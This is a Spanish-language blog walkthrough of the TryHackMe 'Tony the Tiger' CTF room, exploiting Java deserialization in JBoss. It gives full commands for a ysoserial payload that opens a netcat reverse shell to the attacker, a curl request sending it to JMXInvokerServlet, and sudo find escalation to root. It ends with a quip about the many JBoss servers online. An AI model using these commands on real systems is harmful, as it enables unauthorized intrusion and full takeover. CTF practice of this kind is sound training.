Tony the Tiger
TryHackMe
Esta es una de las CTFs que he hecho de TryHackMe. Es un sitio muy recomendable para jugar un gran rato. Intentaré postear poco a poco todas las CTFs que tengo.
Con esta máquina aprendemos qué es la serialización. En la documentación de la room, en la “Task2 Support Material” te explican en qué consiste y enlace de referencia.
Walkthrough
[Task 2] Support Material
La encuentras en el texto de ésta parte 😉
[Task 3] Reconnaissance
Te piden servicio y front-end que hay corriendo en el puerto 8080. Como siempre en cualquier máquina comenzamos ejecutando nmap.
$ sudo nmap -sV -sC -PR -PN -sT -A -T5 -p- IP_RHOST
...
8080/tcp open http Apache ...$ curl IP_RHOST:8080
La primera respuesta la tienes con nmap y la segunda bastaría con conectarte al servicio para verlo.
[Task 4] Find Tony’s Flag!
Tenemos que encontrar el flag en formato “THM{}”.
Comenzamos a buscar archivos y directorios. Podemos usar dirsearch, dirbuster, gobuster o con la que te sientas más cómoda, pero no nos conduce a nada. Buscamos la web y descubrimos una imagen que si la descargamos y analizamos, sin hacer gran cosa, descubrimos la bandera.
$ strings b******.jpg
...
THM{Tony ....
[Task 5] Exploit!
En esta tarea nos dan el exploit que es un programa en python y el jar para realizar el payload.
Tenemos tres formas de hacerlo.
Solución 1:
Uso ysoserial.jar para crear el payload con reverse shell y lanzalo con curl. No No olvides abrir puerto con nc.
$ nc -l -vv 8888
$ java -jar ysoserial.jar CommonsCollections5 'nc IP_LHOST -e /bin/sh 8888' > payload
$ curl -vvv --header 'Content-Type: application/x-java-serialized-object; class=org.jboss.invocation.MarshalledValue' --data-binary @payload 'http://IP:8080/invoker/JMXInvokerServlet' --output /tmp/salida
Cuando lo lanzas, si todo es correcto, en el terminal donde tienes lanzado el nc verás la conexión con el target.
Ncat: Version 7.80 ( https://nmap.org/ncat )
Ncat: Listening on :::8888
Ncat: Listening on 0.0.0.0:8888
Ncat: Connection from IP_RHOST
Ncat: Connection from IP_RHOST:59114.
python -c 'import pty; pty.spawn("/bin/bash")'
cmnatic@thm-java-deserial:/$ id
id
uid=1000(cmnatic) gid=1000(cmnatic) groups=1000(cmnatic),4(adm),24(cdrom),30(dip),46(plugdev),110(lpadmin),111(sambashare)
Nos piden obtener una shell y así lo hemos hecho.
Solucion 2:
Ejecutar el exploit.py. Es todo igual que la solución 1 salvo que el exploit te hace todo.
$ python exploit.py --ysoserial-path ysoserial.jar --proto http IP_RHOST:8080 "nc 10.8.3.15 -e /bin/sh 8888"
No olvides lanzar el nc en tu máquina con el puerto que hayas elegido para que funcione la reverse shell.
Solución 3:
Este es un exploit que encontré por ahí tirado y que está muy bien. Os invito a que lo busquéis. No lo he probado del todo pero te permite lanzar payload para todas las vulnerabilidades de jboss. No me preguntes porque no te lo diré.
[Task 6] Find User JBoss’ flag!
Debemos encontrar la bandera con el formato “THM{}” del user jboss. Vemos si hay un usuario y nos vamos a su /home. Aquí tenemos dos ficheros cuyo propietario es cmnatic: . jboss.txt y note, pero el .bash_history de ese usuario tiene permisos para todo el mundo. La bandera la encuentras en el fichero .bash_history y en el fichero .jbox.txt

[Task 7] Escalation!
Fase final de la ctf. Buscar el flag que como casi siempre está en /root/root.txt.
Antes habíamos dicho que teníamos dos fichero con los permisos del nuestro usuario, uno contenía el flag y el otro … siempre tienes que ser curiosa 😊
Una vez obtenida la contraseña de jboss, recuera que estamos en su directorio, accedemos con sus credenciales y vemos qué privilegios tiene ese usuario en la máquina.
$ su jboss
$ sudo -l
Matching Defaults entries for jboss on thm-java-deserial:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/binUser jboss may run the following commands on thm-java-deserial:
(ALL) NOPASSWD: /usr/bin/find
/usr/bin/find guay, Linux privilege escalation. Podemos ejecutar sudo, find y cat como root, pues ya lo tenemos.
$ sudo find /home -exec sh -i \;
sudo find /home -exec sh -i \;
# cat /root/root.txt
WTF!! no es el flag está codificado en base64. Visitamos CyberChef os lo recomiendo como tools. Ojo! es base64, lo prometo, busca, busca.
Una vez que tenemos esto nos da un hash md5 que si lo buscamos en crackstation nos da el flag, también si lo buscamos en google.
flag: z**************
That’s all folks.
Es una ctf que curiosa. Espero que te diviertas como lo he hecho yo y ¡ya sabes! con la cantidad de servidores jboss que hay por ahí #HackThePlanet #TimeToPlay #enjoy 😆